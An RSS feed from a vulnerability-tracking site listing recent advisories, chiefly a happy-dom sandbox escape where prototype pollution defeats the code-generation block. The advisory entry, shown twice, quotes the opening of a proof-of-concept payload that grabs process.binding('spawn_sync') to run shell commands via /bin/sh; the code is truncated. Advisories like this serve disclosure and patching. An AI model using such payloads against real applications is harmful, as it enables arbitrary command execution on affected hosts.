<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 15 Oct 2026 03:12:15 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-255171</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-255171</link>
      <description>EUVD-2026-255171</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-255171</guid>
    </item>
    <item>
      <title>fkie_cve-2025-62410</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-62410</link>
      <description>&lt;p&gt;In versions before 20.0.2, it was found that --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom. The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like &amp;#34;process&amp;#34; in the example below, or to hijack control flow via flipping checks of undefined property. This vulnerability is due to an incomplete fix for CVE-2025-61927. The vulnerability is fixed in 20.0.2.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;In versions before 20.0.2, it was found that --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom. The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like &amp;#34;process&amp;#34; in the example below, or to hijack control flow via flipping checks of undefined property. This vulnerability is due to an incomplete fix for CVE-2025-61927. The vulnerability is fixed in 20.0.2.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-62410</guid>
    </item>
    <item>
      <title>GHSA-qpm2-6cq5-7pq5 — happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-qpm2-6cq5-7pq5</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: happy-dom&lt;/p&gt;
&lt;p&gt;### Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.&lt;/p&gt;
&lt;p&gt;### Details
The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like &amp;#34;process&amp;#34; in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).&lt;/p&gt;
&lt;p&gt;### PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., &amp;#34;process&amp;#34;. In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().&lt;/p&gt;
&lt;p&gt;```js
import { Browser } from &amp;#34;happy-dom&amp;#34;;&lt;/p&gt;
&lt;p&gt;const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});&lt;/p&gt;
&lt;p&gt;page.url = &amp;#39;https://example.com&amp;#39;;
let payload = &amp;#39;spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&amp;amp;&amp;amp;(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: happy-dom&lt;/p&gt;
&lt;p&gt;### Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.&lt;/p&gt;
&lt;p&gt;### Details
The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like &amp;#34;process&amp;#34; in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).&lt;/p&gt;
&lt;p&gt;### PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., &amp;#34;process&amp;#34;. In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().&lt;/p&gt;
&lt;p&gt;```js
import { Browser } from &amp;#34;happy-dom&amp;#34;;&lt;/p&gt;
&lt;p&gt;const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});&lt;/p&gt;
&lt;p&gt;page.url = &amp;#39;https://example.com&amp;#39;;
let payload = &amp;#39;spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&amp;amp;&amp;amp;(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-qpm2-6cq5-7pq5</guid>
    </item>
  </channel>
</rss>
